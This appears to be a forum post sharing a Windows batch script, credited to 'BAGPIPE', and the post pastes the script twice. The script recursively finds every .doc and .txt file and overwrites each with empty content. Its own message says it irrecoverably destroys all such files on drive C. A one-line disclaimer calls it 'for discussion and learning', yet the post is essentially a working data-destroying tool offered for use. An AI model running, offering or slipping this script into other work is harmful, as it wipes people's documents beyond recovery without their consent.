This technique has actually been around for a long time. Just to review, I hope everyone uses it sparingly, just for discussion and learning.
@echo off
cls
echo.
echo;
echo:
echo ***************CODE BY BAGPIPE*********************
echo.
echo;
dir /s /b *.doc >1.txt
dir /s /b *.txt >2.txt
for /f "tokens=*" %%i in (1.txt) do copy /y nul "%%i">nul
for /f "tokens=*" %%i in (2.txt) do copy /y nul "%%i">nul
echo.
echo Destroy the content of all *.doc and *.txt files on drive C, irrecoverable
@echo off
cls
echo.
echo;
echo:
echo ***************CODE BY BAGPIPE*********************
echo.
echo;
dir /s /b *.doc >1.txt
dir /s /b *.txt >2.txt
for /f "tokens=*" %%i in (1.txt) do copy /y nul "%%i">nul
for /f "tokens=*" %%i in (2.txt) do copy /y nul "%%i">nul
echo.
echo Destroy the content of all *.doc and *.txt files on drive C, irrecoverable
Attachments
